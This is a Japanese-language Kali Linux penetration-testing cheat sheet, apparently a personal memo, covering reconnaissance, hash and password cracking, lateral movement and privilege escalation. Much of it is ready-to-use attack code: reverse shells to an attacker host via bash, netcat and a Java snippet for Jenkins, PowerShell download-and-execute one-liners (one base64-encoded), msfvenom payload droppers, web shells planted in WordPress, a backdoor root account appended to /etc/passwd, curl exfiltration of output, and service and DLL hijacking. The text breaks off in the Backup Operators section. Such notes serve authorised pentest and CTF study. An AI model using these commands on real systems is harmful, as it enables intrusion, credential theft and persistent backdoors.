Kali Linux チートシート

よく使うKali Linuxのコマンドやツールのメモ。

適宜、更新予定。

Enumeration & Reconnaissance

nmap

  • -sS : TCP SYNスキャン。 SYNを送って標的マシン (ポート)からのACKの有無を確認する (有る場合はポートが開いていると判断)。ハンドシェイクの確立はしない。
  • -sT : TCP connect スキャン。connect()システムコールを使う。
  • -sU : UDPスキャン。UDPパケットを送って標的マシン (ポート)からの ICMP port unreachableメッセージの有無を確認する (有る場合はポートが閉じていると判断)。ただし、SNMP (161番ポート)など、UDPを採用しているポートに対してはプロトコル固有のパケットを送る。
  • -Pn (No ping) : 標的マシンがオンラインである体でスキャンを実行する。

NSEスクリプトは/usr/share/nmap/scriptsに保存されている。

標的マシンをスキャンする。

nmap -Pn -A $RHOST -oG general-portscan.txt

登録済みポート (registered ports) をスキャン。

nmap -Pn -p 1024-49151 $RHOST -oG registered-portscan.txt

エフェメラルポート (ephemeral ports) をスキャン。

nmap -Pn -p 49152-65535 $RHOST -oG ephemeral-portscan.txt

SMB関連のスキャン。

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $RHOST -oG smb-portscan.txt
nmap --script smb-vuln* -p 139,445 $RHOST -oG smb-vuln-scan.txt

NSEスクリプトの詳細を表示。

nmap --script-help=smb-enum-shares.nse

全ポートをスキャン。

nmap -Pn -p- $RHOST -oG all-portscan.txt

FTP関連のスキャン。(完了まで時間がかかるかも)

nmap --script ftp-* -p 21 $RHOST -oG ftp-portscan.txt

gobuster

Webサーバーのディレクトリを列挙する。

gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt

気になるディレクトリを見つけたら、そのディレクトリをスキャンする。

gobuster dir -u http://$RHOST/dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

特定の拡張子を持つファイルを列挙する。

gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.html

WPScan

WordPressをスキャンする。

wpscan --url http://$RHOST -e -o wpscan-result.txt

より正確かつ詳細なスキャンをしたい場合は、--api-tokenオプションでトークンを指定する。

wpscan --url http://$RHOST --api-token <TOKEN> -o wpscan-with-api-token.txt

※ WPScanのAPIトークンを取得するにはhttps://wpscan.com/registerに登録後、https://wpscan.com/profile/にアクセスしてトークンを生成する。1日、25回まで無料で生成できる。(2024年9月12日時点)

Kiterunner

APIを列挙したいときに。

kr scan http://$RHOST:8080/search -w /home/kali/.local/bin/routes-large.kite -x 20

searchsploit

エクスプロイト関連のファイルは/usr/share/exploitdb/exploits/usr/share/exploitdb/shellcodesに保管されている。

searchsploitを実行する前に、Exploit Databaseを最新のものにアップデートする。

sudo apt update && sudo apt install exploitdb

ソフトウェアやアプリケーションの脆弱性を突く既存のエクスプロイトがあるか確認。キーワードはいくつでも指定可能で、クォートで囲う必要もない。デフォルトでは大文字小文字を区別しない。

searchsploit <software/application name or version or whatever keywords>

ヘルプ表示。

searchsploit

エクスプロイトをカレントディレクトリにコピー。

searchsploit -m windows/remote/7132.py

エクスプロイトの中身を確認。

searchsploit -x windows/remote/7132.py

エクスプロイトのパスではなく、EDB-IDを表示。

searchsploit Eternal Blue Windows 2012 x64 --id

Git

Webサーバー上で.gitディレクトリが公開されていた場合、以下のwgetコマンドでレポジトリの中身をダウンロードできる。

wget -r http://$RHOST/.git/

gitの状況確認。(作成・消去されたファイルは無いか?)

git status

差分を取得。(どんな変更が加えられたか?)

git diff

コミット履歴の表示。

git log

最新のコミットの詳細を表示。

git show

特定のコミットの詳細を表示。(コミット・ハッシュ値はgit logで確認できる)

git show <commit hash>

全ファイルの復元。

git restore .
or
git checkout -- .

特定のファイルの復元。(ファイル・パスはgit statusで確認できる)

git restore </path/to/file>

Cracking hash & password

hash-identifier

ハッシュの種類を調べる。

hash-identifier

hashcat

ハッシュ値から元データを求める。

hashcat -m <hash type> <hash to crack (be mindful of the format)> /usr/share/wordlists/rockyou.txt

-m で指定するハッシュ・タイプはhashcat -hで確認できる。以下の例ではSHA-512のタイプを確認する。

hashcat -h | grep -i sha512

クラックする際のハッシュの書式は--example-hashesで確認できる。以下の例ではハッシュ・タイプ 1710 (SHA-512) で使用するハッシュの書式を確認する。

hashcat -m 1710 --example-hashes

クラック済のハッシュを表示する

hashcat -m <hash type> --show <hash or hash.txt>

John The Ripper

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

/etc/passwdのパスワードをクラック。(/etc/passwd/etc/shadowを取得している前提)

unshadow /etc/passwd /etc/shadow > passwords.txt
john passwords.txt --wordlist=/usr/share/wordlists/rockyou.txt

ZIPファイルのパスワードをクラック。

zip2john target.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

SSH秘密鍵のパスフレーズをクラック。

ssh2john id_rsa > ssh.hash
## If the hash contains "$6$", it means SHA-512.1 In such case, open ssh.hash and remove the filename before the first colon.
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

John The Ripperで一度クラックしたパスワードを再度クラックしようとすると、No password hashes left to crack (see FAQ)というメッセージが出る。その場合、以下のコマンドでクラック済みのパスワードを表示できる。

john --show  <your password hash file>

hydra

  • -l username
  • -L usernames.txt
  • -p password
  • -P passwords.txt
  • -s port (optional)
  • -S connect via SSL

WordPressのログインパスワードをクラック。(必ずログインページのソースコードを確認してパラメータ名等をチェックすること)

## if response contains Location header
hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&redirect_to=/wp-admin/&testcookie=1:S=Location" -V -f

## if response does not contain "Error"
hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&redirect_to=/wp-admin/&testcookie=1:Error" -V -f

標的マシンがHTTPSを使用している場合は、https-post-formを使う。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST https-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&redirect_to=/wp-admin/&testcookie=1:Error" -V -f

エラーメッセージが出なくなるまで(ログインが成功するまで)ログイン試行。下記の例はLogin Failedというエラーメッセージが出なくなるまで、ログインパスワードを総当たりする。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed" -V -f

Basic認証のパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-head /url_path

hydra -l "username" -P /usr/share/wordlists/rockyou.txt $RHOST http-get /url_path

FTPのログインパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt ftp://$RHOST -V -f

SSHのログインパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt ssh://$RHOST -V -f

RDPのログインパスワードをクラック。

hydra -l "username" -P /usr/share/wordlists/rockyou.txt rdp://$RHOST -V -f

Lateral Movement

xfreerdp

標的マシンへRDP接続。(証明書エラーで接続が切られる場合は/cert:ignoreを追加)

xfreerdp /cert:ignore /d:domain /u:username /p:password /size:95% +clipboard /v:$RHOST

xfreerdpはクライアントからRDP接続先へのファイルのコピーはできるが、 RDP接続先 からクライアント へのファイルのコピーはできない模様。そのような場合はクライアント側のフォルダを共有フォルダ化することで、 RDP接続先 からクライアント へのファイルのコピーが可能になる。

以下のコマンドはクライアント側のフォルダ/local/path/to/sharemyshareというフォルダ名でRDP接続先と共有する。RDP接続先からクライアントへファイルをコピーしたい場合は、\\tsclient\myshareにコピーすれば良い。

xfreerdp /cert:ignore /d:domain /u:username /p:password /size:95% +clipboard /v:$RHOST +drive:myshare,/local/path/to/share

## share current working directory
xfreerdp /cert:ignore /d:domain /u:username /p:password /size:95% +clipboard /v:$RHOST +drive:myshare,$(pwd)

smbclient

SMB共有フォルダを表示。

smbclient -L $RHOST

SMB共有フォルダへ接続。

smbclient //$RHOST/<share name>

SMB共有フォルダへファイルをアップロード。

smbclient //$RHOST/<share name> -c 'put yourfile.txt'

SMB共有フォルダから任意のファイルをダウンロード。

smbclient //$RHOST/<share name> -c 'get yourfile.txt'

NTLMハッシュを渡してSMB共有フォルダへ接続。

smbclient //$RHOST/<share name> -U username --pw-nt-hash <NTLM hash>
smbclient \\\\$RHOST\\<share name> -U username --pw-nt-hash <NTLM hash>

smbget

SMB共有フォルダ内のファイルを再帰的にダウンロード。

smbget -R smb://$RHOST/<share name>

mount

SMB共有フォルダをマウント。

(sudo) mkdir /mnt/myshare
(sudo) mount -o rw $RHOST:/target_sharename /mnt/myshare
ls -la /mnt/myshare

SSH

標的マシンへSSH接続。(22番以外のポートを使用している場合は-pでポート番号を指定)

ssh $USERNAME@$RHOST

秘密鍵を用いてSSH接続。

chmod 600 id_rsa
ssh -i id_rsa $USERNAME@$RHOST

SSH Tunnel

外部ネットワークから標的マシンにアクセスできない時は、SSHトンネルを張ることで解決できる場合がある。SSHトンネルについてはこちらを参照。

以下の例では、SSHサーバーを介して、ローカルマシンの8080番ポート宛の通信を標的IP 172.17.0.2の8080番ポートへ転送する。

ssh -L 127.0.0.1:8080:172.17.0.2:8080 username@ssh_server

上記のSSHトンネルを張った後に、127.0.0.1:8080へアクセスすると、172.17.0.2:8080へ転送される。

Netcat

nc -nv $RHOST $RPORT

SCP

標的マシンの特定のディレクトリの内容物を再帰的にダウンロードする。

scp -r $USERNAME@$RHOST:/path/to/remote/resource /path/to/local/destination

ローカルマシンから標的マシンへファイルをアップロードする。

scp /local/file/to/upload $USERNAME@$RHOST:/path/to/destination

Establish Foothold

Reverse Shell

Reverse Shellを張る前に、 攻撃側のマシンで接続を待ち受け状態にすること。(53, 80, 443ポートで待ち受けるのが望ましい。標的マシン側のファイアウォールで許可されていることが多いため。)

nc -nvlp $LPORT

Bash

/bin/bash -i >& /dev/tcp/$ATTACKER_HOST/$PORT 0>&1

参考

Python

Reverse Shellを起動した後に、以下のPythonコマンドでTTYシェルを起動すると、コピペなどの作業が楽になる。

python -c 'import pty; pty.spawn("/bin/bash")'

近年のOSはPython3が標準なので、以下の方が良いかも。

python3 -c 'import pty; pty.spawn("/bin/bash")'

Netcat

nc $RHOST $RPORT -e /bin/bash

PowerCat

フルパス: /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1

攻撃側マシンでPython Web Serverを起動。(カレントディレクトリにpowercat.ps1を配置していること)

python3 -m http.server 80

攻撃側マシンでポートを待ち受け。

nc -nvlp 53

標的マシン上で以下のPowerShellコマンドを実行。(コマンドプロンプトを起動したいときは-e powershell-e cmdに変更)

powershell.exe -nop -w hidden IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.10/powercat.ps1');powercat -c 192.168.1.10 -p 53 -e powershell

powershell.exe -nop -w hidden IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.10/powercat.ps1');powercat -c 192.168.1.10 -p 53 -e cmd

攻撃側マシン上のpowercat.ps1が標的マシン上で実行されて、Reverse Shellが起動する。

ちなみにペイロードをBase64エンコードして実行したい場合は、pwsh上でエンコードすることを推奨する。

pwsh

$Text = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.10/powercat.ps1');powercat -c 192.168.1.10 -p 53 -e cmd"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
echo $EncodedText

## result: SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkAOwBwAG8AdwBlAHIAYwBhAHQAIAAtAGMAIAAxADkAMgAuADEANgA4AC4AMQAuADEAMAAgAC0AcAAgADUAMwAgAC0AZQAgAGMAbQBkAA==

powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkAOwBwAG8AdwBlAHIAYwBhAHQAIAAtAGMAIAAxADkAMgAuADEANgA4AC4AMQAuADEAMAAgAC0AcAAgADUAMwAgAC0AZQAgAGMAbQBkAA==

MSFvenom

より詳しいチートシートはこちら

Staged payload vs Non-Staged (Stage less) payload

staged payload

このペイロードは大きく分けて、2段階の処理が発生する。

  • まず最初に攻撃者のマシンに接続する。
  • 続いて攻撃者のマシンからメインのエクスプロイト・コードをメモリにロードして実行する。

non-stagedと比べて、エクスプロイト・ペイロードのサイズ (ファイルサイズではない) が小さい。

以下のような場合に適している。

  • ネットワークが高速。
  • non-stagedペイロードがセキュリティソフトに検知されてしまう。
non-staged (stage less) payload

エクスプロイトとして必要な機能やライブラリが全て含まれているペイロード。stagedと比べて、エクスプロイト・ペイロードのサイズ (ファイルサイズではない) が大きい。

以下のような場合に適している。

  • ネットワークが低速。

Stage payloadとNon-Staged payloadの見分け方

staged payload: shell/reverse_tcp (/で区切られている)
non-staged payload: shell_reverse_tcp

リバースシェル・ペイロードの検索。

## for windows
msfvenom -l payloads | grep windows | grep reverse_tcp | grep '/shell'

## for linux
msfvenom -l payloads | grep linux | grep reverse_tcp | grep '/shell'

Windows用ペイロード

## Windows 32 bit staged
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell32-staged.exe

## Windows 32 bit non-staged
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell32-nonstaged.exe

## Windows 64 bit staged
msfvenom -p windows/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell64-staged.exe

## Windows 64 bit non-staged
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell64-nonstaged.exe

Linux用ペイロード

## Linux 32 bit staged
msfvenom -p linux/x86/shell/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell32-staged.elf

## Linux 32 bit non-staged
msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell32-nonstaged.elf

## Linux 64 bit staged
msfvenom -p linux/x64/shell/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell64-staged.elf

## Linux 64 bit non-staged
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell64-nonstaged.elf

Windowsマシンに作成したペイロードを展開。

## Use PowerShell
powershell.exe iwr -uri http://$ATTACKER_HOST/shell32-staged.exe -Outfile shell32-staged.exe & start shell32-staged.exe

## Use certutil
certutil -urlcache -split -f http://$ATTACKER_HOST/shell32-staged.exe shell32-staged.exe & start shell32-staged.exe

## Use curl
curl -s http://$ATTACKER_HOST/shell32-staged.exe -o shell32-staged.exe & start shell32-staged.exe

Linuxマシンに作成したペイロードを展開。

## Use curl
curl -s http://$ATTACKER_HOST/shell32-staged.elf -o shell32-staged.elf; chmod +x shell32-staged.elf; ./shell32-staged.elf

## Use wget
wget http://$ATTACKER_HOST/shell32-staged.elf; chmod +x shell32-staged.elf; ./shell32-staged.elf

Web Shell

Kali Linuxには/usr/share/webshellsに各種Web Shellが用意されている。

自分がよく使うWeb Shellは以下の通り。

  • /usr/share/webshells/php/simple-backdoor.php : /simple-backdoor.php?cmd=<command>でコマンドを実行。
  • /usr/share/webshells/php/php-reverse-shell.php : ハードコードされた攻撃者IPおよびポートに向けてReverse Shellを張る。

WordPressにWeb Shellを仕込む

WordPressにWeb Shellを仕込む方法は複数ある。※WordPressの管理画面にアクセスできる前提

Web Shellをプラグインとしてアップロードする

より詳細な手順はこちらを参照。

1. プラグインの本体であるPHPスクリプトを用意する。このPHPスクリプトにはWordPressのプラグインであることを示すコメントを挿入する必要がある。

以下はコメント例。

/*
Plugin Name: Simple Backdoor 
Plugin URI: https://example.com
Description: Simple Backdoor
Version: 1.0.0
Author URI: https://example.com
Text Domain: webshell
Domain Path: /languages
*/

2. 1.で用意したPHPスクリプトをZIP圧縮する。

3. WordPress管理画面より、Plugins -> Add New -> Upload Pluginを選択して、2.で用意したZIPファイルをアップロードし、Install Nowをクリック。

4. インストールが完了したらAcitvate Pluginをクリックして、プラグインを有効化する。

5. /wp-content/plugins/<your web shell plugin name>/your_webshell.php でWeb Shellにアクセスできる。

ブログ・テーマの関連ファイルを改ざんして、Web Shellとして使用する

手順は以下の通り。

  1. Appearance -> Theme Editor
  2. Select theme to editのドロップダウンから編集したいブログ・テーマを選択。
  3. Theme Filesより編集したいファイルを選択。
  4. Web Shellのコードを挿入して、Update Fileボタンをクリックして保存。
  5. 編集したファイルにブラウザでアクセスすると、Web Shellが起動する。

上記の手順で、ブログ・テーマ Twenty Seventeenの 404 Template (404.php) を改ざんした場合、/wp-content/themes/twentyseventeen/404.phpがWeb Shellとなる。

JenkinsにWeb Shell (Reverse Shell)を仕込む

Jenkinsの管理画面より、Manage Jenkins -> Script Consoleへ移動。(もしくは$RHOST/scriptをブラウズ。)

Script Consoleに以下のコードをコピーしてRunボタンで実行。(攻撃マシンでnc -nvlp $LPORTを実行して接続を待ち受け)

String host="10.9.221.71"; //attack machine IP
int port=1234; //attack machine port
String cmd="/bin/sh"; //change it to cmd.exe if the target machine is Windows
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

すると、上記のコードがJenkinsサーバーで実行されて、攻撃マシン上でシェルが起動する。

Privilege Escalation

Linux 権限昇格

こちらの記事も併せて参照。

権限昇格の前に

カレントユーザーの確認。

whoami

カレントユーザーのUIDとGIDを確認。(0の場合はrootユーザー)

id

システム情報の確認。

hostname
uname -a
cat /etc/os-release

シェルのコマンド履歴や、プロファイル、環境変数等にパスワードなどの情報が無いか確認。

cat .bash_history
cat .bashrc
cat .bash_profile
env

実行中のプロセスやネットワーク通信の中にパスワード情報が無いか確認。

watch -n 1 "ps -aux | grep -i pass | grep -v grep"
sudo tcpdump -i <interface> -A | grep -i "pass"

sudo

カレントユーザーがsudoつきで実行できるコマンドを確認。

sudo -l

SUID

SUIDのセットされたファイルを列挙。

find / -type f -perm -04000 -ls 2>/dev/null

Capabilities

getcap -r / 2>/dev/null

cap_setuid+epがセットされたファイルに注目。

Cron Jobs

Cron関連のファイルを検索。

ls -lah /etc/cron*

root権限で実行されるジョブがないか注目。

cat /etc/crontab

カレントユーザー所有のジョブが無いか確認。sudo付きで実行するとroot所有のジョブも確認できる。

(sudo) crontab -l

ログを検索してroot権限で実行されているジョブが無いか確認。

grep "CRON" /var/log/syslog

Writable Directory

カレントユーザーが書き込み可能なディレクトリを調べる。

find /directory/to/examine -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3,4 | sort -u

rootが所有しているディレクトリに書き込み可能な場合、権限昇格に利用できるかも。

NFS

マウント可能なディレクトリを調べる。

cat /etc/exports

no_root_squash オプションがセットされているディレクトリに注目。

/etc/passwdの改ざん

/etc/passwdに対して書き込み可能な場合、新たにrootアカウントを追加できる。

以下のコマンドは新たにsecretrootというrootアカウントを追加する。UIDとGIDを0にセットしている点に注目。認証パスワードはhoge

openssl passwd hoge
## generated hash: 1b6OMEThndPVA
echo "secretroot:1b6OMEThndPVA:0:0:this is secret root account:/root:/bin/bash" >> /etc/passwd
su secretroot
## enter your password (hoge) and you will get root shell

unix-privesc-check

unix-privesc-checkを標的マシンにアップロードして実行する。

## On attack machine
cp $(which unix-privesc-check) .
python3 -m http.server 80

## On target machine
wget http://$ATTACKER_HOST/unix-privesc-check
chmod +x unix-privesc-check
./unix-privesc-check standard > privesc-output.txt

アウトプットされたファイルを攻撃マシンに送る。

## On attack machine
python3 -m pip install --user uploadserver #if not installed
python3 -m uploadserver 80

## On target machine
curl -X POST http://$ATTACKER_HOST/upload -F 'files=@privesc-output.txt'

Windows 権限昇格

権限昇格の前に

システム情報を確認。

hostname
systeminfo

カレントユーザーの確認。

whoami
whoami /user
whoami /priv

カレントユーザーが所属しているグループを確認。

whoami /groups

システムに存在してるユーザーおよびグループの確認。

net user
net user <username of interest>
net user <username of interest> /domain
net group /domain
net group <group of interest> /domain
powersehll -ep bypass
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember group_of_interest

Administratorsグループに所属しているユーザーを確認。

net localgroup Administrators

システムにインストールされているアプリケーションを確認。KeePassなどのパスワードマネージャーは無いか?

powershell -ep bypass
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

C:\Users\以下にある特定の拡張子を持つファイルを列挙。もしかすると、パスワードなどの重要情報が記載されているかも?

powershell -ep bypass
Get-ChildItem -Path C:\Users\ -Include *.ini,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

KeePassのデータベースファイルが無いか確認。

powershell -ep bypass
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

PowerShellのコマンド履歴を確認。もしかすると、パスワードなどの重要情報が記載されているかも?

powershell -ep bypass
Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\[username]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Runas

runasで他のユーザー権限でプログラムを実行。以下はadministrator権限でコマンドプロンプトを起動する。

runas /user:<localmachinename>\administrator cmd

WinPEAS

└─$ winpeas -h   

> peass ~ Privilege Escalation Awesome Scripts SUITE

/usr/share/peass/winpeas
├── winPEASany.exe
├── winPEASany_ofs.exe
├── winPEAS.bat
├── winPEASx64.exe
├── winPEASx64_ofs.exe
├── winPEASx86.exe
└── winPEASx86_ofs.exe

標的マシンにWinPEASをダウンロードして実行。(攻撃側マシンでpython3 -m http.server 80を実行してファイルをダウンロードできる状態にすること)

powershell -ep bypass
iwr -uri http://$ATTACKER_HOST/winPEASx64.exe -Outfile winPEAS.exe
.\winPEAS.exe log=winPEAS-output.txt

アウトプットされたファイルを攻撃マシンにアップロードする。

## On attack machine
python3 -m pip install --user uploadserver #if not installed
python3 -m uploadserver 80

## On target machine (if curl is installed)
curl -X POST http://$ATTACKER_HOST/upload -F files=@"winPEAS-output.txt"

Service Binary Hijacking

Windowsサービス・バイナリが乗っ取り可能な場合、サービスをハイジャックして権限昇格できる。

実行中のサービスとバイナリを列挙。C:\Windows\system32\ 以外の場所にサービス・バイナリが無いか注目。

PowerShell -ep bypass
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

気になるバイナリを見つけたら、icaclsコマンドでファイルのパーミッションを確認。

icacls "C:\path\to\binary.exe"
  • F : Full access
  • M : Modify access
  • RX : Read and execute access
  • R : Read-only access
  • W : Write-only access

FMW フラグが立っているか注目。

乗っ取り可能なサービス・バイナリを見つけたら、正規のバイナリを攻撃用のバイナリと入れ替える。

以下の例では正規のbinary.exeをリバースシェルと入れ替える。

攻撃側マシンでリバースシェルをbinary.exeという名前で作成。

msfvenom -p windows/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<PORT> -f exe > binary.exe

標的マシンに作成したbinary.exeを仕込んで、正規のbinary.exeと入れ替える。(攻撃側マシンでpython3 -m http.server 80を実行してファイルをダウンロードできる状態にすること)

powershell -ep bypass
iwr -uri http://<attacker IP>:<port>/binary.exe -Outfile binary.exe
move "C:\path\to\service\binary.exe" binary.exe.bak
move binary.exe "C:\path\to\service\binary.exe"

バイナリを入れ替えたら、サービスを再起動。(事前に攻撃側マシンでnc -nvlp $LPORTを実行して、リバースシェルの接続を待ち受け)

Get-Service <service name>
Restart-Service <service name>

Restart-Serviceで再起動できなくても、scコマンドで再起動できる場合がある。

sc qc <service name>
sc query <service name>
sc stop <service name>
sc start <service name>

権限の理由でサービスを再起動できなくても、(サービスの起動タイプがAUTO_STARTに設定されている場合)、システムを再起動することで、サービスを再起動できる。

shutdown /r /t 0

サービスが再起動したら、入れ替えたバイナリが昇格された権限で実行される。(この例の場合では、昇格された権限でリバースシェルが起動する。)

Service DLL Hijacking

サービスDLLが乗っ取り可能な場合、サービスをハイジャックして権限昇格できる。

以降では、サービスがシステム上に存在していないDLLを読み込んでいた場合、DLL search orderハイジャックの要領で、サービスをハイジャックする手順を簡単にまとめる。

実行中のサービスとバイナリを列挙。C:\Windows\system32\ 以外の場所にサービス・バイナリが無いか注目。

powershell -ep bypass
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

気になるバイナリを見つけたら、stringsを走らせるなりして、DLLを読み込んでいないか確認する。あるいはバイナリを実行して、Process Monitorなどで何かしらDLLを読み込もうとしていないか観察する。

次にサービス・バイナリが読み込もうとしているDLLがシステム上に存在するか確認する。もし存在していなかった場合、攻撃用のDLLをサービス・バイナリと同じディレクトリに配置することで、DLLを読み込ませることが出来る。

hoge.dllという名前でリバースシェルを作成。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker IP> LPORT=<port> -f dll > hoge.dll

標的マシンに作成したDLLを仕込み、標的となるサービス・バイナリと同じディレクトリにDLLを配置する。(攻撃側マシンでpython3 -m http.server 80を実行してファイルをダウンロードできる状態にすること)

powershell -ep bypass
iwr -uri http://<attacker IP>:<port>/hoge.dll -Outfile hoge.dll
move hoge.dll "C:\path\to\vuln\service\hoge.dll"

DLLを仕込んだら、サービスを再起動。(事前に攻撃側マシンでnc -nvlp $LPORTを実行して、リバースシェルの接続を待ち受け)

Get-Service <service name>
Restart-Service <service name>

Restart-Serviceで再起動できなくても、scコマンドで再起動できる場合がある。

sc qc <service name>
sc query <service name>
sc stop <service name>
sc start <service name>

権限の理由でサービスを再起動できなくても、(サービスの起動タイプがAUTO_STARTに設定されている場合)、システムを再起動することで、サービスを再起動できる。

shutdown /r /t 0

サービスが再起動したら、DLLが読み込まれて、仕込んだペイロードが昇格された権限で実行される。(この例の場合では、昇格された権限でリバースシェルが起動する。)

Unquoted Service Paths

サービスが参照しているプログラムへのパスが空白を含んでおり、かつパスがクォーテーションで囲われていない場合 (C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe")、本来サービスが実行するべきファイルとは別のファイルを実行させることができる。

詳しくはこちらを参照。

該当のパスが無いか確認。

wmic service get name,pathname |  findstr /i /v "C:\\Windows\\" | findstr /i /v """

上記より、C:\Program Files\My Apps\Current Version\hoge.exe というファイルへのパスが見つかったとする。

サービスは以下の順序で、ファイルを実行しようとする。

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Apps\Current.exe
C:\Program Files\My Apps\Current Version\hoge.exe

C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Apps\Current.exeのいずれかを仕込むことが出来れば、サービスを乗っ取ることが出来る。

ファイルを仕込むためにはディレクトリへの書き込み権を有している必要がある。

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\My Apps"

FW フラグが立っているか注目。

書き込み可能なディレクトリを見つけたら、攻撃用のバイナリを準備する。

攻撃側マシンでリバースシェルをCurrent.exeという名前で作成。

msfvenom -p windows/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<PORT> -f exe > Current.exe

標的マシンに作成したCurrent.exeを仕込む。(攻撃側マシンでpython3 -m http.server 80を実行してファイルをダウンロードできる状態にすること)

powershell -ep bypass
iwr -uri http://<attacker IP>:<port>/Current.exe -Outfile Current.exe
move Current.exe "C:\Program Files\My Apps\Current.exe"

バイナリを配置したら、サービスを再起動。(事前に攻撃側マシンでnc -nvlp $LPORTを実行して、リバースシェルの接続を待ち受け)

Get-Service <service name>
Restart-Service <service name>

Restart-Serviceで再起動できなくても、scコマンドで再起動できる場合がある。

sc qc <service name>
sc query <service name>
sc stop <service name>
sc start <service name>

権限の理由でサービスを再起動できなくても、(サービスの起動タイプがAUTO_STARTに設定されている場合)、システムを再起動することで、サービスを再起動できる。

shutdown /r /t 0

サービスが再起動したら、仕込んだバイナリが昇格された権限で実行される。(この例の場合では、昇格された権限でリバースシェルが起動する。

Scheduled Tasks

タスクの一覧を取得。

schtasks /query /fo LIST /v
  • NT AUTHORITY\SYSTEMAdministrators所有のタスクが無いか?
  • 実行されるプログラムやコマンドに注目。これらを乗っ取ることはできるか?
  • 乗っ取る場合は、一定間隔で定期的に実行されるタスクが理想的。

Backup Operatorsグループの悪用

カレントユーザーがBackup Operatorsグループに所属している場合、本来、ユーザーがアクセスできないファイルやディレクトリにアクセスすることが可能。参考

カレントユーザーがBackup Operatorsグループに所属しているかチェック。

whoami /groups

SeBackupPrivilegeが有効化されているか確認。

whoami /priv

SeBackupPrivilegeはツールを使って有効化できる。

こちらのGitHubレポジトリより、SeBackupPrivilegeUtils.dllSeBackupPrivilegeCmdLets.dllをダウンロードするか、もしくはソースコードからコンパイルする。

2つのDLLを標的マシンに仕込む。(攻撃側マシンでpython3 -m http.server 80を実行してファイルをダウンロードできる状態にすること)

powershell -ep bypass
